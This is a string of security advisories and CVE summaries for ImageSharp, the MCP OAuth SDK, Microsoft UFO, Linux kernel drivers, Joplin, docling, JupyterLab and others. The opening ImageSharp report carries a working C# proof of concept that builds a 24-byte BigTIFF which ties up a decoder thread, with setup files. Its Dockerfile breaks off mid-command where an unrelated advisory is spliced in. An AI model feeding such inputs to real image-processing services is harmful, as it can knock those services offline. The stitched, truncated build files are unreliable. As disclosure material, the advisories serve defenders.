### Summary
`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
### Details
[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.
### Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### Reproduction
The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count `5000000000`. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
```text
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
```
`timeout` exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is `1`:
```text
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
```
The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
### Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}
```
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >
### Summary
In affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to.
A malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it:
- the `refresh_token` and `client_secret` stored from an earlier sign-in
- the `client_secret` or signed assertion configured on a bundled provider
### Am I affected?
Yes, if both of these hold:
- your application uses the SDK's OAuth client over HTTP, through any of:
- an `authProvider` on a transport
- the `withOAuth()` middleware
- direct calls to `auth()` or `fetchToken()`
- it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server
Affected versions:
- `@modelcontextprotocol/sdk` 1.12.0 through 1.30.1
- `@modelcontextprotocol/client` 2.0.0 through 2.1.0, only for:
- bundled providers without `expectedIssuer`
- credentials stored or supplied without `issuer`
- direct calls to `fetchToken()`
- providers that read storage back through `OAuthTokensSchema` or `OAuthClientInformationSchema`
Not affected:
- MCP servers built with the SDK
- stdio clients
### Fix
Upgrade to:
- 1.x: `@modelcontextprotocol/sdk` 1.31.0 or later
- 2.x: `@modelcontextprotocol/client` 2.2.0 or later, and `@modelcontextprotocol/core` 2.2.0 or later if you import it directly
The client now records the authorization server as `issuer` on saved credentials and does not send them to a different one. The user signs in again, or the call throws.
In the following cases, upgrading to the patched version is not enough. You also need to make a change:
- **Bundled providers** (`ClientCredentialsProvider`, `PrivateKeyJwtProvider`, `StaticPrivateKeyJwtProvider`, `CrossAppAccessProvider`): pass `expectedIssuer`, for example `expectedIssuer: 'https://auth.example.com'`. Without it they still use whichever authorization server the MCP server names.
- **Credentials saved without `issuer`:** tokens and client information your `OAuthClientProvider` persisted (file, keychain, database) before upgrading, including everything 1.x saved before 1.31.0. They still go to whichever authorization server is named at first use. Add `issuer` to them, or clear them so users sign in again.
- **Your own `OAuthClientProvider`:** save exactly what `saveTokens()` and `saveClientInformation()` are given, including `issuer`. For pre-registered credentials, include `issuer` in what `clientInformation()` returns.
Not covered by this fix:
- a new interactive sign-in, which still goes to the authorization server the MCP server names. Only complete sign-ins for servers you trust.
- `refreshAuthorization()` and `exchangeAuthorization()` called directly
- 2.x with `skipIssuerMetadataValidation: true`
If an affected client may have connected to an untrusted MCP server, rotate its client secret or signing key and revoke its tokens.
If you cannot upgrade yet, connect OAuth clients only to MCP servers you trust. 2.0.0 and 2.1.0 already accept `expectedIssuer`.
A vulnerability in Vyper prior to version 0.2.6 causes call stack corruption when passing multi-dimensional arrays as arguments to internal or external functions. This occurs due to incorrect assumptions about the size of array or struct subtypes during stack management, leading to incorrect output.
Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.9, the /api/task_result/{task_name} endpoint calls SessionManager.get_result_by_task() in ufo/server/services/session_manager.py, which acquires a non-reentrant lock and then calls SessionManager.get_result() to acquire the same lock again when the task name maps to a session. An authenticated caller who knows or creates a mapped task name can therefore block the request indefinitely, and in the default single-process server configuration the blocked event-loop thread prevents other HTTP, WebSocket, and dependent background interactions. Unknown task names do not reach the nested call and are not affected. This issue is fixed in version 3.0.9.
CVE-2026-105791 is a command injection vulnerability in Microsoft UFO, an open-source automation framework. The flaw exists in the run_shell tool of the CommandLineExecutor component prior to version 3.0.9. It improperly validates only the first token of the bash_command parameter and allows explorer.exe to be used, which on Windows can delegate execution to arbitrary executables or scripts. Exploitation requires a user to run an affected agent workflow and trigger the vulnerable tool call. Successful exploitation can lead to arbitrary code execution with the privileges of the desktop user, potentially allowing access or modification of user files, tokens, and sessions. The issue is fixed in version 3.0.9.
Mooncake through 0.3.13.post1 contains a missing authentication vulnerability in the Store REST service, which binds to 0.0.0.0 without authentication on any route. Unauthenticated attackers can call routes such as /api/get, /api/put, /api/remove_all and /api/mount to read cached KV data with user prompts, inject or delete objects, and mount attacker-described segments.
A vulnerability in the Linux kernel's synaptics-rmi4 input driver can cause a General Protection Fault (GPF) during system suspend and resume if the driver is unbound. This occurs because transport drivers call suspend and resume functions on child devices even when the physical driver failed to bind, leading to a NULL pointer dereference when driver data is missing. The issue is fixed by adding checks to exit early if no driver data is attached.
A vulnerability in the Linux kernel's AMDGPU driver caused a memory mapping leak during device removal. The issue was due to the iounmap call being skipped, leading to a resource leak when the device is hot-unplugged or the module is removed. This has been fixed by unconditionally unmapping the memory region if it is not NULL.
A vulnerability in the Linux kernel's network bridge MST (Multiple Spanning Tree) implementation involves improper handling of switchdev calls within an RCU read-side critical section. The function br_mst_set_state() calls switchdev_port_attr_set() while holding rcu_read_lock(), which can invoke a blocking notifier chain and potentially sleep, violating RCU constraints. The issue has been fixed by moving the switchdev call outside the RCU section and ensuring rtnl lock is held.
A race condition in the Linux kernel's TCP IPv6 receive path could cause a function to be called locklessly on a closed socket, leading to a kernel warning and potential instability. The issue arises when tcp_v6_do_rcv() calls skb_clone_and_charge_r() for a listener socket that has been concurrently closed, changing its state from TCP_LISTEN to TCP_CLOSE. This vulnerability has been addressed by avoiding the call to skb_clone_and_charge_r() for sockets in TCP_CLOSE state as well.
CVE-2026-98249 is a vulnerability in the Linux kernel arm64 hibernate code where arguments to the resume hypervisor call (hvc) are not passed correctly. This causes the EL2 vector base address register (vbar_el2) to point to a page that is freed after resume, potentially leading to a system hang when resuming from hibernation with certain kernel configurations.
Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.13, when Joplin Desktop is running with the opt-in Web Clipper server enabled, the server in packages/lib/ClipperServer.ts sends Access-Control-Allow-Origin: * and allows an arbitrary website to call POST /auth and GET /auth/check because the pairing endpoints do not reject HTTP or HTTPS origins. The desktop confirmation dialog does not identify the requesting origin, so a victim who approves the generic prompt authorizes the attacking page, which then receives the permanent API token. The token provides ongoing read and write access to notes, folders, tags, resources, and master keys. This issue is fixed in version 3.7.13.
GraphQL Tools provides utilities for building, stitching, and mocking GraphQL schemas. Prior to 12.0.1, the GraphQL Tools utils package's mergeDeep function follows inherited properties while recursively merging source objects and does not exclude __proto__, constructor, or prototype keys. An unauthenticated GraphQL client can alias fields to those names so responses from two subgraphs collide during ordinary supergraph result merging, causing mergeDeep to traverse Object and Function prototypes and overwrite Function.prototype.call with a subgraph-supplied value. This breaks subsequent requests in the process until restart. This issue is fixed in version 12.0.1.
CVE-2026-105749 is an uncontrolled resource consumption vulnerability in the docling-project's docling software. Versions from 2.0.0 up to but not including 2.131.0 allow HTML, JATS, OpenDocument spreadsheet, and BoxNote backends to accept rowspan and colspan attribute values without upper bounds. This can cause excessive CPU usage or multi-gigabyte memory allocation when processing small documents. The document_timeout setting does not interrupt the backend conversion call, exacerbating the impact. The issue is fixed in version 2.131.0.
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.45.0 until 2.131.0, METS-GBS format detection in docling/datamodel/document.py and the backend in docling/backend/mets_gbs_backend.py call tarfile.TarFile.getmembers() before enforcing the max_member_count limit, causing the full archive member list to be allocated before the limit can stop processing. A small gzip-compressed tar archive with a very large number of empty members can therefore consume memory proportional to the declared member count, including during format detection before the allowed_formats restriction is applied. This issue is a residual weakness in the member-count protection added for CVE-2026-44018. This issue is fixed in 2.131.0.
### Summary
`allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.
### Details
In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.
### Affected configurations
Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running.
### Impact
Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`.
### Patches
Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported.
### Workarounds
Upgrade to 2.131.0. For older versions:
Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`.
JupyterLab versions from 4.0.0 up to but not including 4.6.4 contain a vulnerability in the PyPI extension manager's uninstall functionality. The uninstall command does not properly validate extension names, allowing an authenticated user with permission to call the extension API to inject command-line arguments to pip. This can cause pip to read arbitrary server-side files or fetch internal URLs, leaking their contents in error messages. The vulnerability requires the PyPI Extension Manager to be enabled and kernels/terminals to be disabled or remote. It does not allow arbitrary code execution or writing arbitrary content, but can create or corrupt files with pip logs. The issue is fixed in JupyterLab 4.6.4 and 4.5.11.